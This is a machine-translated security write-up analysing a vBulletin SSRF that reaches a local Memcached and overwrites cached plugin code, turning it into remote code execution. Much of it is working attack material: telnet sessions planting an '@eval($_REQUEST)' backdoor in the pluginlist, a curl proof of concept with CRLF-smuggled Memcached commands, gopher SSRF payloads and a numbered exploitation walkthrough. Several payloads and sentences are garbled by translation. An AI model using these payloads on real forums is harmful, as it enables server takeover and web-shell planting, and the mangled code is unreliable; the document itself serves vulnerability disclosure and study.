Passerby A · 2015/08/28 15:50

Author: Ambulong(Anheng Security Research Institute)

0 x00 preface


Someone on FD disclosed the 0day POC of vBulletin, but did not provide the vulnerability analysis process. VBulletin is a leading forum program in foreign countries, generally known as VBB in China, developed based on PHP+mySQL. VBulletin is a commercial software, which requires payment.

VBulletin allows remote uploading of files through urls, but does not strictly filter urls, resulting in SSRF vulnerabilities. In addition, many vBulletin websites install vBulletin Memcached and WEB server together, and SSRF will lead to the vulnerability into command execution.

0x01 Vulnerability Analysis


Firstly, the plugin (hook) execution mode of vBulletin is introduced. VBulletin stores plugin information (including code) in the database, and temporarily reads code execution from the database when the program is running. Change include ‘pluginname.php’ to eval(getCodeFromDB(‘pluginname’)). With Memcache enabled, vBulletin caches the plugin’s code into Memcached to increase read speed.

We all know that you do not need a password to access Memcached, so if the access port of Memcached is exposed to the public network, we will modify the plugin code of vBulletin in Memcached as malicious code, which will lead to terrible consequences.

The vBulletin website recommends that Memcached not be installed on the same server as vBulletin, but many webmasters ignore this, or simply set up a firewall to block access to the Memcached port.

Unfortunately, there is an SSRF vulnerability in vBulletin that allows an attacker to use the compromised file as a proxy to make a local request to Memcached on the server.

Unauthorized access to Memcached

Let’s start by looking at how unauthorized access to Memcached causes the vBulletin command to execute.

VBulletinHook ::set_pluginlist($vbulletin->pluginlist), find the set_pluginlist declaration in the file./includes/class_hook.php, According to the notes:

#! php // to call a hook: // require_once(DIR . '/includes/class_hook.php'); // ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;Copy the code

$hook = vBulletinHook::fetch_hook(‘unique_hook_name’)) eval($hook) : false; The function is to take the plugin’s code and execute it.

$hook = vBulletinHook::fetch_hook(‘global_start’))? eval($hook) : false; PHP file, so any page that contains./global.php will contain our malicious code.

Then go to the Memcached server and look at the data for the pluginList item

$Telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. Get pluginlist... (Serialized array) END quitCopy the code

Fetching the pluginList data returns the serialized pluginList array. The related code is in the build_datastore function of the./includes/class_hook.

#! php $plugins = $dbobject->query_read(" SELECT plugin.*, IF(product.productid IS NULL, 0, 1) AS foundproduct, IF(plugin.product = 'vbulletin', 1, product.active) AS productactive FROM " . TABLE_PREFIX . "plugin AS plugin LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product) WHERE plugin.active = 1 AND plugin." . "phpcode <> '' ORDER BY plugin.executionorder ASC "); while ($plugin = $dbobject->fetch_array($plugins)) { if ($plugin['foundproduct'] AND ! $plugin['productactive']) { continue; } else if (! empty($adminlocations["$plugin[hookname]"])) { $admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; } else { $code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; } } $dbobject->free_result($plugins); build_datastore('pluginlist', serialize($code), 1); build_datastore('pluginlistadmin', serialize($admincode), 1);Copy the code

$code=array(‘hookname’=>’phpcode’); To modify the pluginList code in Memcached, we also need to serialize our code into the $code array before writing it to Memcached.

#! php $code=array('global_start'=>[email protected]($_REQUEST[\'eval\']); '); echo serialize($code)."\n".strlen(serialize($code));Copy the code

Output:

a:1:{s:12:"global_start"; s:25:"@eval($_REQUEST['eval']);" ; } // Serialized data 59 // String lengthCopy the code

The next step is to modify the pluginList item to our pluginList:

$Telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. Set pluginlist 0 120 59 a:1:{s:12:"global_start"; s:25:"@eval($_REQUEST['eval']);" ; } STORED quitCopy the code

The global_start command has modified the global_start code so that pages containing./global.php will contain our malicious code.

Then visit http://172.16.80.156/showthread.php? eval=phpinfo(); Found that our code has been executed.

In most cases, however, Memcached is not accessible from the Internet, so you need the SSRF below.

SSRF (Server-side Request Forgery)

Server Side Request Forgery (SSRF) is a security vulnerability created by an attacker to create a Request initiated by the Server. Typically, SSRF attacks target internal systems that cannot be accessed from the Internet.

via:http://wiki.wooyun.org/web:ssrf

The remote upload function of vBulletin is used in vB_Upload_* and vB_vURL. This section takes vB_Upload_Userpic as an example. Call accept_upload() from vB_Upload_Userpic-> process_upload() in./includes/ class_upload_userpic -> process_upload() Accept_upload () then calls fetch_remote_filesize(), the vB_vURL class, and finally the exec() function in the vB_vURL_cURL class, all without filtering the avatarURL variables.

POC in the report document: seclists.org/fulldisclos…

$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/ %0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5 B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'Copy the code

To read the report, Memcached will execute:

HEAD / set pluginlist 0 0 96 a:1:{s:12:"global_start"; s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']); die(); } "; } quet. PNG HTTP/1.0 Host: localhost user-agent: vBulletin via PHP Connection: closeCopy the code

However, EXP was not available in the local test, and the %0D%0A in the link was not converted to a newline character during our test. Test code: #! The PHP $url = ‘http://172.16.80.158:11211/%0D%0Aset pluginlist 0 53% 0 d % 0 aa 120:1: {s: 12: “global_start”; s:19:”eval($_REQUEST1);” ; }%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit’; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);

Packet capture result:

The final test and refer to the information found for many times, under the gopher protocol EXP can emersion, but vB_Upload_Userpic only allow HTTP | (FTP) s the beginning of the link.

Resources: docs.google.com/document/d/…

Exploits given in the paper:

gopher://localhost:11211/1%0astats%0aquit

dict://locahost:11211/stats

ldap://localhost:11211/%0astats%0aquit
Copy the code

However, the HTTP protocol is changed to Gopher protocol

#! The PHP $url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 53% 0 d % 0 120 aa: 1: {s: 12: "global_start"; s:19:"eval($_REQUEST[1]);" ; }%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';Copy the code

Packet capture result:

As you can see, %0D%0A is converted to a newline character. Next, we need a point that can be plugged into the gopherssRF by searching for the call to vB_vURL in donotify of./blog_post.php, send_ping_notification().

The send_ping_notification() function is declared in./includes/blog_functions_post.php, and fetch_head_request() calls the vB_vURL class to initiate the request. The $URL variable is not filtered throughout the process. We can invoke this variable in the front end by checking the additional option in the published blog to notify other blogs linked in this article.

0x02 Vulnerability exploited


  1. Register the user and log in.
  2. Publish new articles (http://*host*/blog_post.php?do=newblog).
  3. Add hyperlinksgopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start"; s:19:"eval($_REQUEST[1]);" ; }%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit.

  1. inAdditional optionsThe admissionNotify other blogs linked to in this article.

  1. Publish -> Select link -> Submit.

  2. Visit http:// * host * / showthread. PHP? 1=phpinfo(); Check whether the command is executed successfully.